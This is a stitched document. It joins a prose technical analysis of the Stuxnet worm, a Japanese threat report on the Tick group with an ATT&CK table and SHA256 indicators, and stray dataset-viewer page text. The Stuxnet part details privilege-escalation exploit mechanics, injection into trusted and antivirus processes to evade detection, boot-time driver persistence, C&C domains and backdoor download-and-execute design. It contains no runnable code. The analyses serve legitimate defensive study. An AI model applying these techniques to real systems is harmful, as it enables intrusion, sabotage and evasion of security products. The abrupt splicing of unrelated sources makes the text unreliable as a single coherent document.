In order to achieve this goal, the creators amassed a vast array of components to increase their chances of success. This includes zero-day exploits, a Windows rootkit, the first-ever PLC rootkit, antivirus evasion techniques, complex process injection and hooking code, network infection routines, peer-to-peer updates, and a command and control interface. We take a look at each of the different components of Stuxnet to understand how the threat works in detail while keeping in mind that the ultimate goal of the threat is the most interesting and relevant part of the threat.
## Executive Summary
Stuxnet is a threat targeting a specific industrial control system likely in Iran, such as a gas pipeline or power plant. The ultimate goal of Stuxnet is to sabotage that facility by reprogramming programmable logic controllers (PLCs) to operate as the attackers intend them to, most likely out of their specified boundaries.
Stuxnet was discovered in July but is confirmed to have existed at least one year prior and likely even before. The majority of infections were found in Iran. Stuxnet contains many features such as:
- Self-replicates through removable drives exploiting a vulnerability allowing auto-execution.
- Spreads in a LAN through a vulnerability in the Windows Print Spooler.
- Spreads through SMB by exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability.
- Copies and executes itself on remote computers through network shares.
- Copies and executes itself on remote computers running a WinCC database server.
- Copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project is loaded.
- Updates itself through a peer-to-peer mechanism within a LAN.
- Exploits a total of four unpatched Microsoft vulnerabilities, two of which are previously mentioned vulnerabilities for self-replication and the other two are escalation of privilege vulnerabilities that have yet to be disclosed.
- Contacts a command and control server that allows the hacker to download and execute code, including updated versions.
- Contains a Windows rootkit that hides its binaries.
- Attempts to bypass security products.
- Fingerprints a specific industrial control system and modifies code on the Siemens PLCs to potentially sabotage the system.
- Hides modified code on PLCs, essentially a rootkit for PLCs.
## Attack Scenario
The following is a possible attack scenario. It is only speculation driven by the technical features of Stuxnet. Industrial control systems (ICS) are operated by a specialized assembly-like code on programmable logic controllers (PLCs). The PLCs are often programmed from Windows computers not connected to the Internet or even the internal network. In addition, the industrial control systems themselves are also unlikely to be connected to the Internet.
First, the attackers needed to conduct reconnaissance. As each PLC is configured in a unique manner, the attackers would first need the ICS’s schematics. These design documents may have been stolen by an insider or even retrieved by an early version of Stuxnet or other malicious binary. Once attackers had the design documents and potential knowledge of the computing environment in the facility, they would develop the latest version of Stuxnet. Each feature of Stuxnet was implemented for a specific reason and for the final goal of potentially sabotaging the ICS.
Attackers would need to set up a mirrored environment that would include the necessary ICS hardware, such as PLCs, modules, and peripherals in order to test their code. The full cycle may have taken six months and five to ten core developers, not counting numerous other individuals, such as quality assurance and management.
In addition, their malicious binaries contained driver files that needed to be digitally signed to avoid suspicion. The attackers compromised two digital certificates to achieve this task. The attackers would have needed to obtain the digital certificates from someone who may have physically entered the premises of the two companies and stole them, as the two companies are in close physical proximity.
To infect their target, Stuxnet would need to be introduced into the target environment. This may have occurred by infecting a willing or unknowing third party, such as a contractor who perhaps had access to the facility, or an insider. The original infection may have been introduced by a removable drive.
Once Stuxnet had infected a computer within the organization, it began to spread in search of Field PGs, which are typical Windows computers but used to program PLCs. Since most of these computers are non-networked, Stuxnet would first try to spread to other computers on the LAN through a zero-day vulnerability, a two-year-old vulnerability, infecting Step 7 projects, and through removable drives. Propagation through a LAN likely served as the first step and propagation through removable drives as a means to cover the last and final hop to a Field PG that is never connected to an untrusted network.
While attackers could control Stuxnet with a command and control server, as mentioned previously, the key computer was unlikely to have outbound Internet access. Thus, all the functionality required to sabotage a system was embedded directly in the Stuxnet executable. Updates to this executable would be propagated throughout the facility through a peer-to-peer method established by Stuxnet.
When Stuxnet finally found a suitable computer, one that ran Step 7, it would then modify the code on the PLC. These modifications likely sabotaged the system, which was likely considered a high-value target due to the large resources invested in the creation of Stuxnet.
Victims attempting to verify the issue would not see any rogue PLC code as Stuxnet hides its modifications. While their choice of using self-replication methods may have been necessary to ensure they’d find a suitable Field PG, they also caused noticeable collateral damage by infecting machines outside the target organization. The attackers may have considered the collateral damage a necessity in order to effectively reach the intended target. Also, the attackers likely completed their initial attack by the time they were discovered.
## Infection Statistics
On July 20, 2010, Symantec set up a system to monitor traffic to the Stuxnet command and control (C&C) servers. This allowed us to observe rates of infection and identify the locations of infected computers, ultimately working with CERT and other organizations to help inform infected parties. The system only identified command and control traffic from computers that were able to connect to the C&C servers. The data sent back to the C&C servers is encrypted and includes data such as the internal and external IP address, computer name, OS version, and if it’s running the Siemens SIMATIC Step 7 industrial control software.
As of September 29, 2010, the data has shown that there are approximately 100,000 infected hosts. The following graph shows the number of unique infected hosts by country:
- **Infected Hosts**: Approximately 60% of infected hosts are in Iran.
Stuxnet aims to identify those hosts which have the Siemens Step 7 software installed. The following chart shows the percentage of infected hosts by country with the Siemens software installed.
Looking at newly infected IP addresses per day, on August 22 we observed that Iran was no longer reporting new infections. This was most likely due to Iran blocking outward connections to the command and control servers, rather than a drop-off in infections.
By February 2011, we had gathered 3,280 unique samples representing three different variants. As described in the Configuration Data Block section, Stuxnet records a timestamp, along with other system information, within itself each time a new infection occurs. Thus, each sample has a history of every computer that was infected, including the first infection. Using this data, we are able to determine:
- Stuxnet was a targeted attack on five different organizations, based on the recorded computer domain name.
- 12,000 infections can be traced back to these 5 organizations.
- Three organizations were targeted once, one was targeted twice, and another was targeted three times.
- 1,800 different domain names were recorded.
- Organizations were targeted in June 20, 2009, July 20, 2009, March 2010, April 2010, and May 2010.
- All targeted organizations have a presence in Iran.
- The shortest span between compile time and initial infection was 12 hours.
- The longest span between compile time and initial infection was 28 days.
- The average span between compile time and initial infection was 19 days.
- The median span between compile time and initial infection was 26 days.
Note any timing information could be incorrect due to time zones or incorrectly set system times.
## Attack Waves Against the Initial Targets
| Attack Wave | Site | Compile Time | Infection Time | Time to Infect |
|-------------|----------|----------------------------|-----------------------------|-------------------------|
| Attack Wave 1 | Domain A | June 22, 2009 16:31:47 | June 23, 2009 4:40:16 | 0 days 12 hours |
| | Domain B | June 22, 2009 16:31:47 | June 28, 2009 23:18:14 | 6 days 6 hours |
| | Domain C | June 22, 2009 16:31:47 | July 7, 2009 5:09:28 | 14 days 12 hours |
| | Domain D | June 22, 2009 16:31:47 | July 19, 2009 9:27:09 | 26 days 16 hours |
| Attack Wave 2 | Domain B | March 1, 2010 5:52:35 | March 23, 2010 6:06:07 | 22 days 0 hours |
| Attack Wave 3 | Domain A | April 14, 2010 10:56:22 | April 26, 2010 9:37:36 | 11 days 22 hours |
| | Domain E | April 14, 2010 10:56:22 | May 11, 2010 6:36:32 | 26 days 19 hours |
| | Domain E | April 14, 2010 10:56:22 | May 11, 2010 11:45:53 | 27 days 0 hours |
| | Domain E | April 14, 2010 10:56:22 | May 11, 2010 11:46:10 | 27 days 0 hours |
| | Domain B | April 14, 2010 10:56:22 | May 13, 2010 5:02:23 | 28 days 18 hours |
## Stuxnet Architecture
### Organization
Stuxnet has a complex architecture that is worth outlining before continuing with our analysis. The heart of Stuxnet consists of a large .dll file that contains many different exports and resources. In addition to the large .dll file, Stuxnet also contains two encrypted configuration blocks.
The dropper component of Stuxnet is a wrapper program that contains all of the above components stored inside itself in a section named “stub.” This stub section is integral to the working of Stuxnet. When the threat is executed, the wrapper extracts the .dll file from the stub section, maps it into memory as a module, and calls one of the exports.
A pointer to the original stub section is passed to this export as a parameter. This export in turn will extract the .dll file from the stub section, which was passed as a parameter, map it into memory, and call another different export from inside the mapped .dll file. The pointer to the original stub section is again passed as a parameter. This occurs continuously throughout the execution of the threat, so every layer of the threat always has access to the main .dll and the configuration blocks.
In addition to loading the .dll file into memory and calling an export directly, Stuxnet also uses another technique to call exports from the main .dll file. This technique is to read an executable template from its own resources, populate the template with appropriate data, such as which .dll file to load and which export to call, and then to inject this newly populated executable into another process and execute it. The newly populated executable template will load the original .dll file and call whatever export the template was populated with.
### Exports
As mentioned above, the main .dll file contains all of the code to control the worm. Each export from this .dll file has a different purpose in controlling the threat.
### Resources
The main .dll file also contains many different resources that the exports above use in the course of controlling the worm. The resources vary from full .dll files to template executables to configuration files and exploit modules.
### Bypassing Behavior Blocking When Loading DLLs
Whenever Stuxnet needs to load a DLL, including itself, it uses a special method designed to bypass behavior-blocking and host intrusion-protection based technologies that monitor LoadLibrary calls. Stuxnet calls LoadLibrary with a specially crafted file name that does not exist on disk and normally causes LoadLibrary to fail. However, W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load specially crafted file names. These specially crafted filenames are mapped to another location instead—a location specified by W32.Stuxnet. That location is generally an area in memory where a .dll file has been decrypted and stored by the threat previously.
### Injection Technique
Whenever an export is called, Stuxnet typically injects the entire DLL into another process and then just calls the particular export. Stuxnet can inject into an existing or newly created arbitrary process or a preselected trusted process. When injecting into a trusted process, Stuxnet may keep the injected code in the trusted process or instruct the trusted process to inject the code into another currently running process.
The trusted process consists of a set of default Windows processes and a variety of security products. The currently running processes are enumerated for the following:
- Kaspersky KAV (avp.exe)
- McAfee (Mcshield.exe)
- AntiVir (avguard.exe)
- BitDefender (bdagent.exe)
- Etrust (UmxCfg.exe)
- F-Secure (fsdfwd.exe)
- Symantec (rtvscan.exe)
- Symantec Common Client (ccSvcHst.exe)
- Eset NOD32 (ekrn.exe)
- Trend Pc-Cillin (tmpproxy.exe)
In addition, the registry is searched for indicators that the following programs are installed:
- KAV v6 to v9
- McAfee
- Trend PcCillin
If one of the above security product processes is detected, version information of the main image is extracted. Based on the version number, the target process of injection will be determined or the injection process will fail if the threat considers the security product non-bypassable.
The potential target processes for the injection are as follows:
- Lsass.exe
- Winlogon.exe
- Svchost.exe
- The installed security product process
This technique may bypass security products that employ behavior-blocking. In addition to creating the new section and patching the entry point, the .stub section of the wrapper .dll file (that contains the main .dll file and configuration data) is mapped to the memory of the new process by means of shared sections. So the new process has access to the original .stub section. When the newly injected process is resumed, the injected code unpacks the .dll file from the mapped .stub section and calls the desired export.
Instead of executing the export directly, the injected code can also be instructed to inject into another arbitrary process instead and within that secondary process execute the desired export.
### Configuration Data Block
The configuration data block contains all the values used to control how Stuxnet will act on a compromised computer. Example fields in the configuration data can be seen in the Appendix.
When a new version of Stuxnet is created (using the main DLL plus the 90h-byte data block plus the configuration data), the configuration data is updated, and also a computer description block is appended to the block (encoded with a NOT XOR 0xFF). The computer description block contains information such as computer name, domain name, OS version, and infected S7P paths. Thus, the configuration data block can grow pretty big, larger than the initial 744 bytes.
### Installation
Export 15 is the first export called when the .dll file is loaded for the first time. It is responsible for checking that the threat is running on a compatible version of Windows, checking whether the computer is already infected or not, elevating the privilege of the current process to system, checking what antivirus products are installed, and what the best process to inject into is. It then injects the .dll file into the chosen process using a unique injection technique described in the Injection Technique section and calls export 16.
Export 16 is the main installer for Stuxnet. It checks the date and the version number of the compromised computer; decrypts, creates, and installs the rootkit files and registry keys; injects itself into the services.exe process to infect removable drives; injects itself into the Step7 process to infect all Step 7 projects; sets up the global mutexes that are used to communicate between different components; and connects to the RPC server.
Stuxnet then waits for a short while before trying to connect to the RPC server that was started by the export 32 code. It will call function 0 to check it can successfully connect and then it makes a request to function 9 to receive some information, storing this data in a log file called oem6c.pnf. At this time, all the default spreading and payload routines have been activated.
### Windows Win32k.sys Local Privilege Escalation (MS10-073)
Stuxnet exploited a 0-day vulnerability in win32k.sys, used for local privilege escalation. The vulnerability was patched on October 12, 2010. The vulnerability resides in code that calls a function in a function pointer table; however, the index into the table is not validated properly allowing code to be called outside of the function table.
The installation routine in Export 15 extracts and executes Resource 250, which contains a DLL that invokes the local privilege escalation exploit. The DLL contains a single export—Tml_1. The code first verifies that the execution environment isn’t a 64-bit system and is Windows XP or Windows 2000.
If the snsm7551.tmp file exists execution ceases; otherwise, the file ~DF540C.tmp is created, which provides an in-work marker. Next, win32k.sys is loaded into memory and the vulnerable function table pointer is found. Next, Stuxnet will examine the DWORDs that come after the function table to find a suitable DWORD to overload as a virtual address that will be called. When passing in an overly large index into the function table, execution will transfer to code residing at one of the DWORDs after the function table. These DWORDs are just data used elsewhere in win32k.sys, but hijacked by Stuxnet.
Next, Stuxnet drops a malformed keyboard layout file into the Temp directory with the file name ~DF<random>.tmp. The malformed keyboard layout file contains a byte that will result in the overly large index into the function table. NtUserLoadKeyboardLayoutEx is called to load the malformed keyboard layout file successfully invoking the exploit. The original keyboard layout is restored and then the malformed keyboard layout file is deleted. The shellcode then loads the main Stuxnet DLL in the context of CSRSS.EXE.
### Load Point
Stuxnet drops Resource 242 MrxCls.sys via Export 16. MrxCls is a driver digitally signed with a compromised Realtek certificate that was revoked on July 16, 2010, by Verisign. A different version of the driver was also found signed by a different compromised digital certificate from JMicron.
Mrxcls.sys is a driver that allows Stuxnet to be executed every time an infected system boots and thus acts as the main load-point for the threat. The driver is registered as a boot start service creating the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls\”ImagePath” = “%System%\drivers\mrxcls.sys” and thus loading early in the Windows boot process.
The goal of the driver is to inject and execute copies of Stuxnet into specific processes. The driver contains an encrypted data block. After decryption, this block contains (among others) a registry key/value pair, which is normally HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MrxCls\“Data”. The driver reads this binary value (previously set by Stuxnet during the installation process). The value is decrypted. It contains a list of pairs (target process name, module to inject):
- services.exe — %Windir%\inf\oem7A.PNF
- S7tg topx.exe — %Windir%\inf\oem7A.PNF
- CCProjectMgr.exe — %Windir%\inf\oem7A.PNF
- explorer.exe — %Windir%\inf\oem7m.PNF
The services.exe, s7tg topx.exe (Simatic manager), and CCProjectMgr.exe (WinCC project manager) will be injected with oem7a.pnf, which is a copy of the main Stuxnet dll. Once injected, Stuxnet executes on the compromised computer. Explorer.exe is injected with oem7m.pnf, an unknown file, which does not appear to be dropped by Stuxnet.
### Command and Control
After the threat has installed itself, dropped its files, and gathered some information about the system, it contacts the command and control server on port 80 and sends some basic information about the compromised computer to the attacker via HTTP. Two command and control servers have been used in known samples:
- www.mypremierfutbol.com
- www.todaysfutbol.com
The two URLs above previously pointed to servers in Malaysia and Denmark; however, they have since been redirected to prevent the attackers from controlling any compromised computers. The threat has the capability to update itself with new command and control domains, but we have not seen any files with updated configurations as yet. A configuration file named %Windir%\inf\mdmcpq3.PNF is read and the updated configuration information from that file is written to the main dll and the checksum of the dll is recalculated to ensure it is still correct.
System data is gathered by export 28 and consists of the following information in the following format:
- Part 1:
- 0x00 byte 1, fixed value
- 0x01 byte from Configuration Data (at offset 14h)
- 0x02 byte OS major version
- 0x03 byte OS minor version
- 0x04 byte OS service pack major version
- 0x05 byte size of part 1 of payload
- 0x06 byte unused, 0
- 0x07 byte unused, 0
- 0x08 dword from C. Data (at offset 10h, Sequence ID)
- 0x0C word unknown
- 0x0E word OS suite mask
- 0x10 byte unused, 0
- 0x11 byte flags
- 0x12 string computer name, null-terminated
- 0xXX string domain name, null-terminated
- Part 2, following part 1:
- 0x00 dword IP address of interface 1, if any
- 0x04 dword IP address of interface 2, if any
- 0x08 dword IP address of interface 3, if any
- 0x0C dword from Configuration Data (at offset 9Ch)
- 0x10 byte unused, 0
- 0x11 string copy of S7P string from C. Data (418h)
The payload data is then XOR-ed with the byte value 0xFF. After the data is gathered, export #29 will then be executed (using the previously mentioned injection technique) to send the payload to a target server. The target process can be an existing Internet Explorer process (iexplore.exe), by default, or if no iexplore.exe process is found, the target browser process will be determined by examining the registry key HKEY_CLASSES_ROOT\HTTP\SHELL\OPEN\COMMAND. A browser process is then created and injected to run Export #29.
Export #29 is used to send the above information to one of the malicious Stuxnet servers specified in the Configuration Data block. First, one of the two below legitimate web servers referenced in the Configuration Data block are queried, to test network connectivity:
- www.windowsupdate.com
- www.msn.com
If the test passes, the network packet is built. The payload is then XOR-ed with a static 31-byte long byte string found inside Stuxnet. The result is hexified (in order to transform binary data to an ASCII string). The payload is then sent to one of the two aforementioned URLs, as the “data” parameter.
The malicious Stuxnet server processes the query and may send a response to the client. The response payload is located in the HTTP Content section. Contrary to the payload sent by the client, it is pure binary data. However, it is encrypted with a static 31-byte long XOR key. The decrypted server response has the following format:
- 0x00 dword payload module size (n)
- 0x04 byte command byte, can be 0 or 1
- 0x05 byte[n] payload module (Windows executable)
Depending on the command byte, the payload module is either loaded in the current process or in a separate process via RPC. Then, the payload module’s export #1 is executed. This feature gave Stuxnet backdoor functionality, as it had the possibility (before the *futbol* domains were blocked) to upload and run any code on an infected machine. At the time of writing, no additional executables were detected as being sent by the attackers, but this method likely allowed them to download and execute additional tools or deliver updated versions of Stuxnet. |
# 日本の製造業を狙うTickグループ
## 侵入拡大・目的実行
侵入後の攻撃者の内部活動の検出には、EDR製品が有効です。但し一般的なEDR群の製品が持つ脅威度の高い検知パターンとしては、MITER ATT&CK の攻撃の足場をつくるフェーズが多く、攻撃者が足場づくりのフェーズを経て、遠隔操作で正規コマンドを使って内部での移動をし始めると、製品が持つ検知パターンでは攻撃の発見が難しくなる傾向があると思われます。特に標的型攻撃がEDR製品の導入前に始まっていたケースでは、足場をつくるフェーズが完了しているため、製品が持つ検知パターンでの検出漏れが懸念されます。EDR群の製品を導入した場合には、定期的に収集したログに含まれる正規コマンドの実行状況やそのコマンドがIT技術者以外の所有する端末によって頻繁に実行されていないかどうかといった視点で分析して、攻撃の検出漏れがないように注意して頂ければと思います。
| Tactic | Technique | ID | 備考 |
|------------------|-------------------------------|----------------------------|----------------------------------------|
| Initial Access | Exploit Public-Facing Application | T1190 | 国内資産管理ソフトの脆弱性を悪用 |
| Spearphishing | T1193 | | なりすまし、侵害したメールアカウントから配送 |
| Supply Chain | T1195 | | 海外拠点へ攻撃メールを配送 |
| Execution | Exploitation for Client Execution | T1203 | Office製品脆弱性を悪用 |
| User Execution | T1204 | | アイコン偽装し、受信者に実行させる |
| Command-Line Interface | T1059 | | ファイル削除のためにbatを起動 |
| Service Execution | T1035 | | サービスとして起動 |
| Rundll32 | T1085 | | DLLの単独実行に使用 |
| Persistence | New Service | T1050 | サービス登録 |
| DLL Search Order | T1038 | | 正規ファイルが使うDLLと同じ名前にし、同一フォルダに設置 |
| Logon Scripts | T1037 | | ログオン時に自動実行されるようにレジストリを追加 |
| Registry Run Keys / Startup Folder | T1060 | | 感染機器再起動後に自動実行されるようにレジストリ追加/スタートアップディレクトリにコピー |
| Defense Evasion | Binary Padding | T1009 | ドロップするファイルの肥大化 |
| Deobfuscate/Decode Files or Information | T1140 | | 検体内部の文字列を難読化して検出回避を試みる |
| Code Signing | T1116 | | 窃取した署名を付与 |
| Disabling Security Tools | T1089 | | アンチウイルス製品を停止 |
| Software Packing | T1045 | | 商用パッカーなどを利用 |
| Process Hollowing | T1093 | | svchost.exeを起動、インジェクション |
| File Deletion | T1107 | | 使い終わったファイルを削除 |
| Hidden Files and Directories | T1158 | | ドロップするファイルに隠し属性設定 |
| DLL Side-Loading | T1073 | | DLL(マルウェア)をロードする正規EXEを合わせて設置 |
| Credential Access | Credential Dumping | T1003 | Mimikatzを使用 |
| Discovery | System Information Discovery | T1082 | dirコマンドでファイル探索 |
| Account Discovery | T1087 | | net user コマンドでユーザを探索 |
| Network Share Discovery | T1135 | | net share, net view コマンドで探索 |
| System Network Connection Discovery | T1049 | | netstat コマンドでリモートデスクトップ等を探索 |
| Process Discovery | T1057 | | tasklist コマンドで探索 |
| Lateral Movement | Windows Admin Shares | T1077 | 感染拡大にPsExecを使用 |
| Remote File Copy | T1105 | | Datper等のRATを使い、感染機器へファイルアップロード/ダウンロードを行う |
| Collection | Data from Local System | T1005 | cmdを使い感染機器の情報を収集 |
| Command And Control | Commonly Used Port | T1043 | 80, 443を使用 |
| Custom Cryptographic Protocol | T1024 | | AES, RC4, XOR等を使い暗号化 |
| Data Encoding | T1132 | | base64を使い通信をエンコード |
| Data Obfuscation | T1001 | | マルウェアが埋め込まれた画像ファイルをダウンロード |
| Standard Application Layer Protocol | T1071 | | HTTP, HTTPSでC&Cサーバと通信 |
| Standard Cryptographic Protocol | T1032 | | RC4, AESでHTTP送信データを暗号化 |
| Web Service | T1102 | | 正規サイトを改ざんし、C&Cサーバとして使用 |
| Exfiltration | Exfiltration Over Command and Control Channel | T1041 | RATを使い、C&Cサーバへファイルをアップロード |
| Data Compressed | T1002 | | zip, makecabコマンドでファイルを圧縮 |
赤字のテクニックは、弊社で多く観測し確認を重視した方が良いと考えているものです。以下Tickに関連するインディケータは、大半が過去弊社レポートに含まれているものですが、インシデント調査、対応にてご活用頂ければと考え改めて記載します。
| インディケータ | タイプ | 備考 |
|--------------------------------------------------------------------------------------|--------------|------------|
| a04d2668b1853051dd5db78721b7deae7490dbd60cef96d55cc91ff8c5d4730d | SHA256 | XXMM |
| d91894e366bb1a8362f62c243b8d6e4055a465a7f59327089fa041fe8e65ce30 | SHA256 | Datper |
| 706a6833b4204a89455f14387dbfc4903d18134c4e37c184644df48009bc5419 | SHA256 | Datper |
| fdd4a4b3d56217579f4cd11df65cf4bd4c60cac428aa649d93227604fbb8b49e | SHA256 | Exploit ppsx |
| 569ceec6ff588ef343d6cb667acf0379b8bc2d510eda11416a9d3589ff184189 | SHA256 | Datper |
| e38d3a7a86a72517b6ebea89cfd312db0f433385a33d87f2ec8bf83a62396bb3 | SHA256 | Datper |
| 6530f94ac6d5b7b1da6b881aeb5df078fcc3ebffd3e2ba37585a37b881cde7d3 | SHA256 | Datper |
| 569ceec6ff588ef343d6cb667acf0379b8bc2d510eda11416a9d3589ff184189 | SHA256 | Datper |
| 0542ecabb7654c6fd6fc4e12fe7f5ff266df153746492462f7832728d92a5890 | SHA256 | RAT Loader |
| d705734d64b5e8d61687db797d7ad3211e99e4160c30ba209931188f15ced451 | SHA256 | RAT Loader |
| 3f5a5819d3fe0860e688a08c1ad1af7208fe73fd9b577a7f16bcebf2426fbdaf | SHA256 | RAT Loader |
| 911fbd95e39db95dbfa36ff05d7f55fc84686bbe05373fc2f351eb76a15d9d74 | SHA256 | Downloader |
| 337d610ebcc9c0834124f3215e0fe3da6d7efe5b14fa4d829d5fc698deca227d | SHA256 | Downloader |
| 706a6833b4204a89455f14387dbfc4903d18134c4e37c184644df48009bc5419 | SHA256 | Downloader |
| 58b06982c19f595e51f0dc5531f6d60e6b55f775fa0e1b12ffd89d71ce896688 | SHA256 | Downloader |
| 1fdd9bd494776e72837b76da13021ad4c1b3a47c8a49ca06b41dab0982a47c7e | SHA256 | Dropped Word Plugin DLL |
| fb0d86dd4ed621b67dced1665b5db576247a10d43b40752c1236be783ac11049 | SHA256 | Downloader |
| d1307937bd2397d92bb200b29eeaace562b10474ff19f0013335e37a80265be6 | SHA256 | Downloader |
| 32dbfc069a6871b2f6cc54484c86b21e2f13956e3666d08077afa97d410185d2 | SHA256 | Downloader |
| 80ffaea12a5ffb502d6ce110e251024e7ac517025bf95daa49e6ea6ddd0c7d5b | SHA256 | down_new |
他攻撃者グループBlackTechやEmdivi のTTPは下記レポートに記載してありますので、ご参照下さい。 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.